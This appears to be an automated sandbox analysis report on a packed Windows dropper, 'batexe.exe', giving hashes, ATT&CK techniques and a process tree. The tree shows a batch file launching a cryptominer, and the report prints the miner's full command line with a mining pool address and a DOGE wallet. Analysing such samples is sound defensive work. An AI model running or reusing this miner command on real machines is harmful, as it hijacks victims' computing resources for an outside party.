73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
300s
platform
windows10-2004_x64
resource
win10v2004-20231222-ja
resource tags

arch:x64arch:x86image:win10v2004-20231222-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
11/02/2024, 16:24

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
2196	b2e.exe
1080	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
1080	cpuminer-sse2.exe
1080	cpuminer-sse2.exe
1080	cpuminer-sse2.exe
1080	cpuminer-sse2.exe
1080	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/756-8-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 756 wrote to memory of 2196	756	batexe.exe	85
PID 756 wrote to memory of 2196	756	batexe.exe	85
PID 756 wrote to memory of 2196	756	batexe.exe	85
PID 2196 wrote to memory of 1244	2196	b2e.exe	86
PID 2196 wrote to memory of 1244	2196	b2e.exe	86
PID 2196 wrote to memory of 1244	2196	b2e.exe	86
PID 1244 wrote to memory of 1080	1244	cmd.exe	89
PID 1244 wrote to memory of 1080	1244	cmd.exe	89

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:756
- C:\Users\Admin\AppData\Local\Temp\B68E.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\B68E.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\B68E.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2196
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\B95D.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1244
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:1080

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\B68E.tmp\b2e.exe

Filesize
5.0MB

MD5
72d9b7f2eeac27d69ac861be4a4e8fcc

SHA1
e5be26aac105e0798572e5b201b4a91f1299586b

SHA256
977b567b21ec9f5f89cc8d11b70be633634a1c9953f34b206059965a548de849

SHA512
9b5a425e3cc1b971e776c477625d5e14aa397ba58f0e631ee0247a7b633c49ef400047a0508b897e4ac1ab9b6eadd26436e75f21dc8681ecb62dec47ebb98dd3

Download Submit
C:\Users\Admin\AppData\Local\Temp\B68E.tmp\b2e.exe

Filesize
9.6MB

MD5
1430ade3d85f3872fca10163c43ed722

SHA1
4fb747c8964c95755e07309617f856f9b4b23405

SHA256
b951bc2a44037a3cef8fd81fac3e24a0d6cef3360f86dd2439be2b14f2d5fdf4

SHA512
b0f1b10dec360e712a2f6b098165ac44c1ccd4d2d25387e609b605dd7d103c3bcf4eef91d1fc071e9a5fe171e6cfe2b0bf46f04540b7d5795d2176245d995ccb

Download Submit
C:\Users\Admin\AppData\Local\Temp\B68E.tmp\b2e.exe

Filesize
9.2MB

MD5
1a6b3f714e87dffb47667c8f051bb28f

SHA1
08cbf7b59e1394a3880853bc31749f3fbab8de1a

SHA256
6db518348eb8287a5ab075ca1fcb3533897845164bcf1f1304a6fbc2ea46a2d2

SHA512
69d8e92c5bf80e3e10b62ed6761c49f41ee9b29b121899d092942327635481a995cff30c5907c580cc02a956e0d586404611ce31bc7d174f5fc6d9ac48aa7ec7

Download Submit
C:\Users\Admin\AppData\Local\Temp\B95D.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
6.5MB

MD5
d504b72106758e61bda11dfe1071885b

SHA1
4ff8aabb28d547889a6ce0c6d8a46fb1589194b9

SHA256
2a24c5397eda41d288328e8635414ebbe6d6c1954a7c17fe47ffc75499c7d793

SHA512
5b8fa81e854929aaf716b9b9057d1ea0eecceba1bf82c9ae08b9b303f75366a331df6ebc4a431a35c800b7de72f640ea8488673e9370890f330ba20f35c94b9a

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
7.6MB

MD5
e0058aa8806129b1f41ebec56aaa754c

SHA1
ec9b1736129ac98c54396432e735812ef00590d8

SHA256
5fe184cdc61f4ecbd32e4ef5f6ba5dec3af4245a065e24baeec2fa9a46736b2c

SHA512
3d88fa1bd1006ce51c98fb17f69857e554ac57856212e745249254cc31ab0065b88d0c971035422994cda70dc4049ddd6f0376b6c3ae968036688a01d347aabb

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
6.9MB

MD5
da07f0e13195128d2eb0d9a6ace4dd87

SHA1
295264dd71344a6767c7c0b6fb4c3c478f776b60

SHA256
76c3a98f93d71d1fa6ab48664e1b7a396574b85c76fb2144d8945af8a5b27865

SHA512
1bcccecf4b67b7a9ba529636c951154dbcdf8e03ae57fc2ade20163490f3d8d6aa6b6b99cc980f85aaca60f309d1d9ca83b7c7c94224ed2b75123b70cee9d467

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/756-8-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/1080-44-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/1080-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1080-102-0x0000000073A60000-0x0000000073AF8000-memory.dmp

Filesize
608KB

Download
memory/1080-45-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/1080-46-0x0000000073A60000-0x0000000073AF8000-memory.dmp

Filesize
608KB

Download
memory/1080-47-0x0000000001100000-0x00000000029B5000-memory.dmp

Filesize
24.7MB

Download
memory/1080-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1080-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1080-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1080-62-0x0000000073A60000-0x0000000073AF8000-memory.dmp

Filesize
608KB

Download
memory/1080-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1080-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1080-82-0x0000000073A60000-0x0000000073AF8000-memory.dmp

Filesize
608KB

Download
memory/1080-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2196-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2196-9-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download